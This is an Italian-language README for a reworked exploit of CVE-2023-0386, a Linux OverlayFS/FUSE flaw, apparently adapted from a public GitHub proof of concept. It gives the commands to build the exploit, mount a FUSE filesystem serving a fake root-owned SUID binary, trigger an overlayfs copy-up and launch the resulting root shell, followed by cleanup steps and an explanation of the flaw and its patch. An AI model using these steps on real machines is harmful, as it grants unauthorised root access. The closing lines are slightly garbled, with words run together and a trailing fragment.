
Copia file fittizi in memoria su disco utilizzando overlayFS
Sorgente CVE originale scritta da xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
Riscritto in modo che l'exploit possa essere eseguito in una sola shell (l'exploit originale richiede due shell).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Pulizia
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt per visualizzare i filesystem montatifuse.c crea un filesystem fuse montato su /tmp/fusepwn/lower e fornisce un falso binario SUID di proprietà di root. Questo è un filesystem in memoria, quindi possiamo mentire sui permessi impostati.
exp.c crea quindi un mount overlayfs in /tmp/fusepwn e apre il falso binario SUID (/tmp/fusepwn/lower/bin). Quando viene aperto, ciò fa scattare overlayfs che esegue una copy-up che scrive il falso binario SUID su disco con reali privilegi SUID e di proprietà di root.
La vulnerabilità in overlayfs sta nel fatto che si fida ciecamente di qualunque permesso di file gli venga fornito dal filesystem di livello inferiore. Se il filesystem di livello inferiore è il kernel, va bene (perché non può essere manipolato senza privilegi di root). Se il filesystem di livello inferiore può essere manipolato dall'utente, non va bene, perché possiamo mentire su quali file siano presenti (ad esempio usando FUSE).
La patch verifica se l'UID/GID del file è valido all'interno dello user namespace. Se non lo è, la copy-up fallisce.
cioè
proc/self/uid_map